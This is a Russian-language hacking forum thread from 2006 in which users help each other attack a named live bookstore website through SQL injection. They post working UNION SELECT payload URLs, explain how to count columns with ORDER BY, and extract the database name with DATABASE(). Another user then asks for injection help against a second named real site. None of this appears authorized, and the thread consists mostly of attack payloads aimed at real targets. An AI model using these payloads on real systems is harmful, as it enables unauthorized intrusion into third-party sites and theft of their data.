PDA

Просмотр полной версии : SQL-injection

[alg0n
02.05.2006, 12:24
Помогите плизз! Я обнаружил возможность sql-injection на сайте :
http://kniga.com.ua/index.php?Lev=product_info&id=881'
Пробовал так :
http://kniga.com.ua/index.php?Lev=product_info&id=881+union+select+null/*
и так :
http://kniga.com.ua/index.php?Lev=product_info&id=881+union+select+null,null/*
Уже практически все попробовал. Нифига. Или ошибка mysql_fetch_array вылезает или страница с книгой открывается.
Может я что-то в синтаксисе упустил?
virgoz
02.05.2006, 13:06
http://kniga.com.ua/index.php?Lev=product_info&id=-883'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17,18,19,20/*
Deem3n®
02.05.2006, 13:46
http://kniga.com.ua/index.php?Lev=product_info&id=-883'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17,18,19,20/*

в этом случае проще количество столбцов перебирать вот таким способом:
__http://site.com/index.php?Lev=product_info&id=-1'+order by x/*
x = 1 ... n
Если при x = n вылетает ошибка то количество столбцов n-1
В этом случае ошибка вылетает при х=21
http://kniga.com.ua/index.php?Lev=product_info&id=-883' order by 21/*

ЗЫ: сорри за флейм просто не удержался и запостил когда увидел такую длинную ссылку :)
[alg0n
02.05.2006, 16:03
А не подскажете как узнать имя таблицы через sql-injection? На примере с www.kinga.com.ua.
Например узнать имя БД : вместо null подставить DATABASE(). Есть ли в MySQL такие средства?
Metvill
21.05.2006, 13:15
А не подскажете как узнать имя таблицы через sql-injection? На примере с www.kinga.com.ua.
Например узнать имя БД : вместо null подставить DATABASE(). Есть ли в MySQL такие средства?
http://kniga.com.ua/index.php?Lev=product_info&id=-883'+union+select+1,2,DATABASE(),4,5,6,7,8,9,10,11 ,12,13,14 ,15,16,17,18,19,20/*

Народ, может и не тут пишу, но нужно узнать возмжна ли sql-injection на сайте http://www.e-d.lt/?ru=1117522100' и если можно пример, для меня это очень важно.
Metvill
24.05.2006, 16:57
а вопрос то кажется несложным, чтож так никто и не знает?